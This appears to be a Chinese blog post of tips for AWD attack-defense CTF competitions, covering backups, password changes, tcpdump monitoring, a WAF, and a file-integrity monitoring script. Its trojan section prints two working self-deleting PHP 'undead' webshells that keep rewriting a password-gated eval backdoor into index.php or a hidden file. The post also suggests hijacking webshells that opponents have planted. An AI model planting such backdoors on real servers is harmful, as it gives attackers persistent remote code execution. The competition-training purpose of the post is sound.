备份:
    1.备份源码,使用图像化工具连接ssh后,我喜欢用winscp,
        找到根目录后,直接右键后台下载就行。
 
        找根目录这里,有时候比赛不给根目录位置,上次去成信打,说找根目录也是一个考点
        其实也好找,先打开网站首页,谁的都行,因为大家的文件都一样,
        然后查看源码,找一下源码中的php,jpg文件名。比如说有一个congrat.php
        然后我进入ssh里面,执行find / -name congrat.php
        就是在根目录下搜索congrat.php这个文件,很快就搜到了
    
        备份后,马上用d盾,webshellkill,360骚一波,发现预留后门,赶紧删掉
        同时编写脚本去其他机器上拿分
 
        源码拿到后,可以现在本地搭一下,然后上扫描器,直接先黑盒测试一波
 
    2.备份数据库,我没有用过图像化界面,就用命令吧
        先找到你用的是哪个数据库,在你的源码的config类或者database    的配置文件里找,很快就找到
 
        mysqldump –u root –p mydatabase > mydatabase_out.sql;(-uroot好像是连起来的,试一试)
 
        备份出root用户所有的数据库
        mysqldump -uroot -p --all-databases > sqlfile.sql
 
        曾经遇到一个备份有问题可以执行下面
        mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
 
        可以把用户数据库导出来后,再下载到你本地,然后导入使用图形化界面看看
        有哪些表,有哪些字段,flag在哪个地方
        遇到sql注入漏洞时就会,很快利用
 
        恢复备份,在mysql终端下执行:
        命令格式:source FILE_PATH
         source ~/db.sql
        
        或者在shell下执行
        shell> mysqldump -h host -u root -p dbname < dbname_backup.sql
 
        # 重置mysql密码
        # 方法1:用SET PASSWORD命令
        mysql> set password for 用户名@localhost = password('新密码');
        # 方法2:用mysqladmin
        mysqladmin -u用户名 -p旧密码 password 新密码
 
修改密码:
    修改ssh密码,修改数据库连接密码,修改后台登陆密码
    有写些是不允许修改的,可能是check点
    
    修改ssh密码, ssh登陆后执行passwd,根据提示操作
    修改mysql密码见上面,
    修改后台登陆密码,找到配置文件,也有可能是存在数据库里,可以看一下登陆时的网络请求
    如果操作到数据库了,那么就是账号密码在数据库里
    注意如果修改了数据库密码,后台链接数据库的config的文件的密码一定要改一样,
 
部署监控:
    文件监控:
        有文件监控脚本,网上挺多的,但是好像都差不多,很有可能你和对手用的就是同一个脚本,同一个木马
        个人觉得文件监控脚本挺好用的,
        只需要放在你的网站根目录,或者上层目录,然后python运行就可以
        文件监控脚本,挺多的,我喜欢用的那个脚本,minitor.py。放在最后了
        这个脚本可以监控文件是否被修改,
        如果被修改,记录被修改后的文件,然后把修改前的还原。
 
    流量监控:
        流量监控非常重要,很多思路就是通过抓别人的流量,然后分析,得到别人打进来的入口点,哪怕是一个文件,
        可能就会点播到你。
        这个我还没有研究
        一会再补
        tcpdump 
        有时候没有这条命令,可以安装
        yum install tcpdump
 
        监听网卡
        tcpdump -i eth1
 
        监听协议,端口
        tcpdump udp port 123
 
        非 : ! or “not” (去掉双引号)
        且 : && or “and”
        或 : || or “or”
         这条命令就够了
        sudo tcpdump -s 0 -w flow.pcap port 80
 
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
1、tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据报的类型
2、-i eth1 : 只抓经过接口eth1的包
3、-t : 不显示时间戳
4、-s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
5、-c 100 : 只抓取100个数据包
6、dst port ! 22 : 不抓取目标端口是22的数据包
7、src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
8、-w ./target.cap : 保存成cap文件,方便用wireshark分析
 
waf:
    有些比赛是不允许上通用waf的,
    网上很多waf脚本,
    使用方法
        就是用你要保护的文件去包含这个waf.php
    比如说,你要保护select.php
    那么你就在select.php里面写上一行,
        include './waf.php'
        或者
        require_once('waf.php');
    如果你要保护所有文件,那么就在config这种配置文件里包含waf
    因为这种config的文件,一般会被大部分功能页面调用
    
    网上还有一种思路,就是让php文件不解析,这种需要修改apache的配置文件httpd.conf
    个人感觉不可取
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>   
 
文件夹权限:
    一般ssh上对文件操作的权限都很小,
    需要留意upload这种目录,一般这种目录可以上传,执行,
    修改这个文件夹的权限
    chmod 111 config.php
    rwx合起来就是4+2+1=7
    000
    
源码对比:
    推荐工具DiffMerge
    比赛用的代码肯定是基于网上某些源码,进行修改,拿来用的
    如果我们找到它本来的源码,可以直接去网上搜这种cms已经报出来的漏洞
    也可以用本来的源码,和比赛用的源码进行对比,找到都那个地方被修改了
    然后肯定就是漏洞点。
    还有就是看一下源码中有没有.git
    说不定就有git泄露,
 
文件对比:
    刚开始时我们down下一份源码
    过一段时间发现我们被打了,很有可能是被种马了
    这时我们再down一份源码,进行代码对比,就会发现我们那个地方被修改,被中马
    
    这次打得,有人在我们站上写了一个一句话,
    那么也可能会在别人机器上写一句话,而且是很简单的那种,
    然后我们就去尝试利用别人种的去偷别人的flag
 
常见漏洞点:
    注入  loadfile(flag)
    重装写马
    文件上传
    有编辑器的话多数会利用编辑器漏洞
    文件包含
    文件读取
 
木马:
        不要使用一句话小马,
        要用不死马,密码加密的马,每台机器的密码都不一样的马
 
        下面这个不死马就是直接追加在index.php里,因为有时候没有创建文件的权限,只能修改
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
//这里是追加到index.php中,
//也可以$file = './.index.php',没有.index.php就自动创建,防止用建立同名文件夹的方式清除
$file = './index.php';
$code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code,FILE_APPEND);
    usleep(5000);
}
?>
 
这个是直接写一个.index.php
加一个点是为了隐藏
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[a]);} ?>';
 
 
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>
 
 
一些技巧:
    用chattr命令防止系统中某个关键文件被修改:
    chattr +i /etc/resolv.conf
    
    find -name "*.bak"
    
    用冰蝎连接木马,不要用菜刀
    冰蝎的流量是aes加密的
 
    还有批量获取flag,交flag,自己去搜一下吧,网上挺多的
 
 minitor.py
  1. # -*- coding: utf-8 -*-
  2. #use: python file_check.py ./
  3.  
  4. import os
  5. import hashlib
  6. import shutil
  7. import ntpath
  8. import time
  9.  
  10. CWD = os.getcwd()
  11. FILE_MD5_DICT = {} # 文件MD5字典
  12. ORIGIN_FILE_LIST = []
  13.  
  14. # 特殊文件路径字符串
  15. Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
  16. bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
  17. logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
  18. webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
  19. difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
  20.  
  21. Special_string = 'drops_log' # 免死金牌
  22. UNICODE_ENCODING = "utf-8"
  23. INVALID_UNICODE_CHAR_FORMAT = r"?%02x"
  24.  
  25. # 文件路径字典
  26. spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
  27. Special_path = {
  28. 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
  29. 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
  30. 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
  31. 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
  32. }
  33.  
  34. def isListLike(value):
  35. return isinstance(value, (list, tuple, set))
  36.  
  37. # 获取Unicode编码
  38. def getUnicode(value, encoding=None, noneToNull=False):
  39.  
  40. if noneToNull and value is None:
  41. return NULL
  42.  
  43. if isListLike(value):
  44. value = list(getUnicode(_, encoding, noneToNull) for _ in value)
  45. return value
  46.  
  47. if isinstance(value, unicode):
  48. return value
  49. elif isinstance(value, basestring):
  50. while True:
  51. try:
  52. return unicode(value, encoding or UNICODE_ENCODING)
  53. except UnicodeDecodeError, ex:
  54. try:
  55. return unicode(value, UNICODE_ENCODING)
  56. except:
  57. value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
  58. else:
  59. try:
  60. return unicode(value)
  61. except UnicodeDecodeError:
  62. return unicode(str(value), errors="ignore")
  63.  
  64. # 目录创建
  65. def mkdir_p(path):
  66. import errno
  67. try:
  68. os.makedirs(path)
  69. except OSError as exc:
  70. if exc.errno == errno.EEXIST and os.path.isdir(path):
  71. pass
  72. else: raise
  73.  
  74. # 获取当前所有文件路径
  75. def getfilelist(cwd):
  76. filelist = []
  77. for root,subdirs, files in os.walk(cwd):
  78. for filepath in files:
  79. originalfile = os.path.join(root, filepath)
  80. if Special_path_str not in originalfile:
  81. #排除权限不足的文件,一般flag,还有后缀.sh的动不了
  82. if "flag" not in originalfile and ".sh" not in originalfile:
  83. filelist.append(originalfile)
  84. return filelist
  85.  
  86. # 计算机文件MD5值
  87. def calcMD5(filepath):
  88. try:
  89. with open(filepath,'rb') as f:
  90. md5obj = hashlib.md5()
  91. md5obj.update(f.read())
  92. hash = md5obj.hexdigest()
  93. return hash
  94. except Exception, e:
  95. print u'[!] getmd5_error : ' + getUnicode(filepath)
  96. print getUnicode(e)
  97. try:
  98. ORIGIN_FILE_LIST.remove(filepath)
  99. FILE_MD5_DICT.pop(filepath, None)
  100. except KeyError, e:
  101. pass
  102.  
  103. # 获取所有文件MD5
  104. def getfilemd5dict(filelist = []):
  105. filemd5dict = {}
  106. for ori_file in filelist:
  107. if Special_path_str not in ori_file:
  108. md5 = calcMD5(os.path.realpath(ori_file))
  109. if md5:
  110. filemd5dict[ori_file] = md5
  111. return filemd5dict
  112.  
  113. # 备份所有文件
  114. def backup_file(filelist=[]):
  115. # if len(os.listdir(Special_path['bak'])) == 0:
  116. for filepath in filelist:
  117. if Special_path_str not in filepath:
  118. shutil.copy2(filepath, Special_path['bak'])
  119.  
  120. if __name__ == '__main__':
  121. print u'---------start------------'
  122. for value in Special_path:
  123. mkdir_p(Special_path[value])
  124. # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
  125. ORIGIN_FILE_LIST = getfilelist(CWD)
  126. FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
  127. backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
  128. print u'[*] pre work end!'
  129. while True:
  130. file_list = getfilelist(CWD)
  131. # 移除新上传文件
  132. diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
  133. if len(diff_file_list) != 0:
  134. # import pdb;pdb.set_trace()
  135. for filepath in diff_file_list:
  136. try:
  137. f = open(filepath, 'r').read()
  138. except Exception, e:
  139. break
  140. if Special_string not in f:
  141. try:
  142. print u'[*] webshell find : ' + getUnicode(filepath)
  143. shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
  144. except Exception as e:
  145. print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
  146. try:
  147. f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
  148. f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')
  149. f.close()
  150. except Exception as e:
  151. print u'[-] log error : file move error: ' + getUnicode(e)
  152.  
  153. # 防止任意文件被修改,还原被修改文件
  154. md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
  155. for filekey in md5_dict:
  156. if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
  157. try:
  158. f = open(filekey, 'r').read()
  159. except Exception, e:
  160. break
  161. if Special_string not in f:
  162. try:
  163. print u'[*] file had be change : ' + getUnicode(filekey)
  164. shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
  165. shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
  166. except Exception as e:
  167. print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
  168. try:
  169. f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
  170. f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')
  171. f.close()
  172. except Exception as e:
  173. print u'[-] log error : done_diff: ' + getUnicode(filekey)
  174. pass
  175. time.sleep(2)
  176. # print '[*] ' + getUnicode(time.ctime())
 

关于AWD线下攻防的经验的更多相关文章

  1. CTF线下攻防赛

    SSH登陆 两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂.然后将Web目录下载下来,上WAF.文件监控.端口 ...

  2. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

  3. 线下AWD平台搭建以及一些相关问题解决

    线下AWD平台搭建以及一些相关问题解决 一.前言 文章首发于tools,因为发现了一些新问题但是没法改,所以在博客进行补充. 因为很多人可能没有机会参加线下的AWD比赛,导致缺乏这方面经验,比如我参加 ...

  4. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  5. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  6. YY一下微信线下支付的场景

    在上一篇文章里面提到了 <跨行清算的实现原理>,这次来分析一下线下支付的场景和流程. 今天看到一篇文章:http://www.huxiu.com/article/23248/1.html? ...

  7. ABP(现代ASP.NET样板开发框架)主题线下交流会(上海)开始报名了!

    点这里进入ABP系列文章总目录 ABP主题线下交流会(上海)开始报名了 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称.它是采用最佳实践和流行技术 ...

  8. MongoDB深圳用户组线下活动召集

    MongoDB线下用户组是由全世界MongoDB爱好者发起的不定期线下交流活动.目前全球有100多个MongoDB用户组,3万5千多爱好者参与.用户组活动的形式通常会有一到两个MongoDB相关的技术 ...

  9. .NET Core 成都线下面基会拉开序幕

    2017年07月29日下午,由 .NET China Foundation 成都小组组织的 .NET Core 成都地区线下技术交流会在成都成华区某茶楼成功举行,这也是成都地区 .NET Core 非 ...

随机推荐

  1. iPython的安装过程

    http://blog.csdn.net/u012587561/article/details/50900781 python2.7.10 amd64 win10 x64 1. 安装setuptool ...

  2. supersocket Silverlight 策略服务器

    <?xml version="1.0"?> <configuration> <configSections> <section name= ...

  3. [转]Android Studio实现代码混淆

     1,在build.grandle添加,其中规则写在proguard-rules.pro中,也可以自定义一个文件,将其代替,比如eclipse常用的 proguard-project.txt: bui ...

  4. Python--day69--单表查询之神奇的双下划线

    单表查询之神奇的双下划线: 单表查询之神奇的双下划线 models.Tb1.objects.filter(id__lt=10, id__gt=1) # 获取id大于1 且 小于10的值 models. ...

  5. Scrap简介

    原文:https://blog.csdn.net/ssw_1990/article/details/51254227 提到Python与网络爬虫,可能会想到urllib,urllib2,Beautif ...

  6. CSS 实现单行及多行文字省略

    单行文字省略 很多时候不确定字数限制,但换行可能影响整体设计,这个时候常用就是文字省略加全文字提示了 .dom{ text-overflow: ellipsis; overflow: hidden; ...

  7. jquery自己写的幻灯片插件,好用不解释

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  8. dotnet 通过 WMI 获取设备厂商

    本文告诉大家如何通过 WMI 获取设备厂商 通过 Win32_ComputerSystem 可以获取电脑系统信息 通过下面代码可以获取 机器型号 和 制造厂商 var mc = "Win32 ...

  9. js算法(1)

    数组排序 arr.sort(function compare(a,b){return b.value-a.value}); json 排序 $.getJSON('URl',function(data) ...

  10. 为什么我们要使用DTO

    基础结构解释 UI-表现层-与控制器打交道(UI向Controller 传递数据时使用DTO(数据传输对象)) Service-应用服务层 Domain 领域对象 DTO 数据传输对象,一般只包含基础 ...